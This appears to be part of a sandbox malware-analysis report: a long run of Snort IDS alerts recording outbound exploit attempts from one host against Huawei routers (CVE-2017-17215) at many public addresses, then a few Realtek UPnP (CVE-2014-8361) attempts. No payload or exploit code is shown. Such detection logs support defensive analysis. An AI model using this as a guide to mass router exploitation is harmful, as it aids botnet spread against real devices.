Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53506 -> 157.2.151.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53506 -> 157.2.151.90:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38376 -> 157.135.46.253:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38376 -> 157.135.46.253:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51454 -> 108.64.120.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51454 -> 108.64.120.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45292 -> 41.35.231.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45292 -> 41.35.231.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57360 -> 41.172.40.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57360 -> 41.172.40.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42496 -> 157.76.12.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42496 -> 157.76.12.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45404 -> 197.64.13.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45404 -> 197.64.13.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50558 -> 41.251.158.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50558 -> 41.251.158.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49298 -> 41.94.29.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49298 -> 41.94.29.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42854 -> 220.140.76.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42854 -> 220.140.76.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59746 -> 197.79.38.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59746 -> 197.79.38.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34862 -> 41.233.21.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34862 -> 41.233.21.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54004 -> 41.5.59.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54004 -> 41.5.59.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42230 -> 114.46.14.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42230 -> 114.46.14.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43454 -> 32.90.4.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43454 -> 32.90.4.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49916 -> 196.191.7.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49916 -> 196.191.7.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44808 -> 197.218.198.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44808 -> 197.218.198.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49420 -> 41.166.4.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49420 -> 41.166.4.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35614 -> 197.228.9.181:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35614 -> 197.228.9.181:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50316 -> 41.139.123.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50316 -> 41.139.123.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37062 -> 197.17.54.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37062 -> 197.17.54.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35644 -> 157.117.152.206:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35644 -> 157.117.152.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46890 -> 41.195.213.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46890 -> 41.195.213.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37154 -> 197.219.0.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37154 -> 197.219.0.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60812 -> 187.232.79.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60812 -> 187.232.79.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34694 -> 157.221.20.7:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34694 -> 157.221.20.7:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52574 -> 157.168.102.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52574 -> 157.168.102.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53842 -> 41.58.87.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53842 -> 41.58.87.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51172 -> 41.113.181.100:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51172 -> 41.113.181.100:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50980 -> 157.66.96.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50980 -> 157.66.96.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34934 -> 197.38.187.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34934 -> 197.38.187.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59214 -> 186.151.11.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59214 -> 186.151.11.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32784 -> 147.233.201.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32784 -> 147.233.201.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58152 -> 111.65.179.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58152 -> 111.65.179.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50186 -> 197.243.43.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50186 -> 197.243.43.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33506 -> 73.245.214.213:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33506 -> 73.245.214.213:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55240 -> 41.166.208.82:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55240 -> 41.166.208.82:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37606 -> 197.90.187.218:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37606 -> 197.90.187.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34648 -> 157.187.94.235:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34648 -> 157.187.94.235:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55824 -> 191.78.129.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55824 -> 191.78.129.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35116 -> 137.106.194.233:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35116 -> 137.106.194.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47522 -> 41.128.226.57:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47522 -> 41.128.226.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56156 -> 197.99.191.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56156 -> 197.99.191.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58996 -> 197.153.119.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58996 -> 197.153.119.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45734 -> 213.65.11.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45734 -> 213.65.11.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37188 -> 41.84.213.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37188 -> 41.84.213.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51204 -> 157.136.196.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51204 -> 157.136.196.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50836 -> 41.122.228.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50836 -> 41.122.228.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53532 -> 194.186.195.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53532 -> 194.186.195.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37204 -> 41.23.223.104:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37204 -> 41.23.223.104:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50592 -> 44.171.241.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50592 -> 44.171.241.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36052 -> 197.212.97.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36052 -> 197.212.97.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38140 -> 157.107.248.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38140 -> 157.107.248.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57550 -> 88.11.232.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57550 -> 88.11.232.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57202 -> 197.248.18.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57202 -> 197.248.18.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58920 -> 157.120.68.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58920 -> 157.120.68.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38152 -> 27.97.182.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38152 -> 27.97.182.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48874 -> 197.172.54.205:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48874 -> 197.172.54.205:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56012 -> 45.172.31.176:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56012 -> 45.172.31.176:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39968 -> 157.231.8.243:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39968 -> 157.231.8.243:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53428 -> 41.198.164.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53428 -> 41.198.164.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48812 -> 197.68.9.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48812 -> 197.68.9.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54998 -> 197.244.78.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54998 -> 197.244.78.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52036 -> 157.116.62.195:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52036 -> 157.116.62.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59046 -> 192.124.50.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59046 -> 192.124.50.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40314 -> 41.253.146.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40314 -> 41.253.146.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45560 -> 145.164.204.137:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45560 -> 145.164.204.137:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46640 -> 41.190.71.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46640 -> 41.190.71.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57062 -> 39.102.197.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57062 -> 39.102.197.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60188 -> 41.199.184.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60188 -> 41.199.184.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35096 -> 157.149.252.54:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35096 -> 157.149.252.54:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48328 -> 41.103.203.136:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48328 -> 41.103.203.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34480 -> 41.11.182.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34480 -> 41.11.182.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36432 -> 41.153.74.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36432 -> 41.153.74.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37948 -> 41.199.11.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37948 -> 41.199.11.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41472 -> 163.241.212.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41472 -> 163.241.212.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53706 -> 201.205.132.204:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53706 -> 201.205.132.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33002 -> 92.36.25.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33002 -> 92.36.25.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33476 -> 197.204.86.68:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33476 -> 197.204.86.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47370 -> 197.234.141.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47370 -> 197.234.141.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49848 -> 197.18.238.74:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49848 -> 197.18.238.74:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40382 -> 157.205.60.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40382 -> 157.205.60.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42104 -> 41.15.253.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42104 -> 41.15.253.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58918 -> 37.234.99.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58918 -> 37.234.99.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38222 -> 41.135.182.144:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38222 -> 41.135.182.144:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54792 -> 157.163.226.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54792 -> 157.163.226.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32794 -> 151.128.221.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32794 -> 151.128.221.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51640 -> 197.40.78.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51640 -> 197.40.78.120:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:49020 -> 134.55.152.47:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.13:49020 -> 134.55.152.47:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:38498 -> 101.73.4.16:52869
